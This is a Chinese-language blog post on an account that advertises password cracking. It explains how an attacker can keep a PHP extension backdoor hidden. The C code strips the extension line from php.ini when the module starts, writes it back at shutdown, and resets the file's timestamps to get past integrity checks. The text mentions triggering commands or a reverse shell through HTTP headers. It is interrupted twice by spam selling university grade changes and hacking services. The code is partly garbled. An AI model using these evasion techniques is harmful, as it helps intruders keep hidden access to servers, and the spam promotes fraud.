close

我們主要關注4hooksMINITMSHUTDOWN,以及RINITRSHUTDOWN。當解釋器啟動和停止時,M root身份執行(通常)。R 在作為伺服器用戶執行。成績修改 台灣大學成績修改 香港大學成績修改 美國大學成績修改 破解支援服務聯絡電郵pvip366@outlook.com(7*24小時在線服務)

3.我們可以從請求中讀取HTTP頭並觸發任何操作(例如,執行命令或啟動反向shell)。為了保持對受感染伺服器的訪問,PHP擴展是一個非常好的選擇。我們可以使用合法的HTTP請求與這種後門進行交互(如推薦文章中所示),因為防火牆和網路規則無法檢測到我們。但是想要加載我們的擴展,我們就需要修改php.ini檔重新加載配置。如果未恢復php.ini,那麼其大小,哈希和時間戳將不同,操作將公開,藍隊獲勝,我們輸了。當然,php.ini修改應該會被檔完整性檢查器立即檢測到,但實際上SOCs往往忽略這種警報

0×01 php.ini未被修改

我們知道當我們修改了php.ini時會生成一個警報。可是如果當有人SSH連接到伺服器,對php.ini進行cat操作,我什麼也看不見。進行ls操作,時間戳也是好的。重新啟動伺服器只是為了再次檢查沒有發生任何奇怪的事情。我們的後門還活著。這是為什麼?

當加載我們的PHP擴展時,我們不需要在php.ini檔中保留“extesion = path/to/our.so”這一行。我們可以程式化地將其恢復到原始狀態。利用MINIT  hook,我們可以刪除添加到php.ini的行,所以當加載擴展時,這個hook將以root(通常)觸發,我們可以編輯php.ini檔而不會出現問題。同樣,我們可以使用MSHUTDOWN插入一段代碼,用於再次將行添加到php.ini中,因此當伺服器重新啟動時,將再次添加“extension = ...”行。當加載擴展時,將執行MINIT並關閉cicle。使用這種方法,php.ini檔在大部分時間內都不會顯示任何奇怪的內容。泛型函數可以表示如下:

 / This code sucksint modifyExtension(int action) {

    char source = NULL;

    char needle = NULL;

    FILE fp;

    size_t newSize;

    fp = fopen(PHPINI, "a+");

    if (fp != NULL) {

        if (action == 1) {

            if (fseek(fp, 0L, SEEK_END) == 0) {

                long bufsize = ftell(fp); // FileSize

                if (bufsize == -1) {

                    return -1;

                }

                source = malloc(sizeof(char )  (bufsize + 1)); // Alloc memory to read php.ini

                if (fseek(fp, 0L, SEEK_SET) != 0) {

                    return -1;

                    free(source);

                }

                newSize = fread(source, sizeof(char), bufsize, fp);

                if (ferror(fp) != 0) {

                    return -1;

                    free(source);

                }           

                else {

                    source[newSize++] = '\0';

                    needle = strstr(source, LOCATION);

                    if (needle != 0) {

                        FILE tmp = fopen("/tmp/.tmpini", "w");

                        fwrite(source, (needle - source - 11), 1, tmp); //11 = len("\nextension=kk.so")

                        fclose(tmp);

                        rename("/tmp/.tmpini", PHPINI);

                    }

                }

                free(source);

            }

            fclose(fp);

        }

        if (action == 0) {

            fwrite("\nextension=", 11, 1, fp);

            fwrite(LOCATION, strlen(LOCATION), 1, fp);

            fclose(fp);

            fprintf(stderr, "[+] Extension added to PHP.INI\n");

        }

    }

    else {

        return -1;

    }

    return 1;

}

這種策略的對應部分是,如果伺服器以意外方式被kill,則不會執行`MSHUTDOWN hook`。另一方面,時間戳將被修改,成績修改 台灣大學成績修改 香港大學成績修改 美國大學成績修改 破解支援服務聯絡電郵pvip366@outlook.com(7*24小時在線服務)

#define PHPINI "/u/know/that/php.ini"

...

struct stat st;

stat(PHPINI, &st);

...// Do changes

new_time.actime = st.st_atime;

new_time.modtime = st.st_mtime;

utime(PHPINI, &new_time);

arrow
arrow
    創作者介紹
    創作者 駭客高手破解密碼 的頭像
    駭客高手破解密碼

    駭客高手專業密碼破解電郵pvip366@outlook.com

    駭客高手破解密碼 發表在 痞客邦 留言(0) 人氣()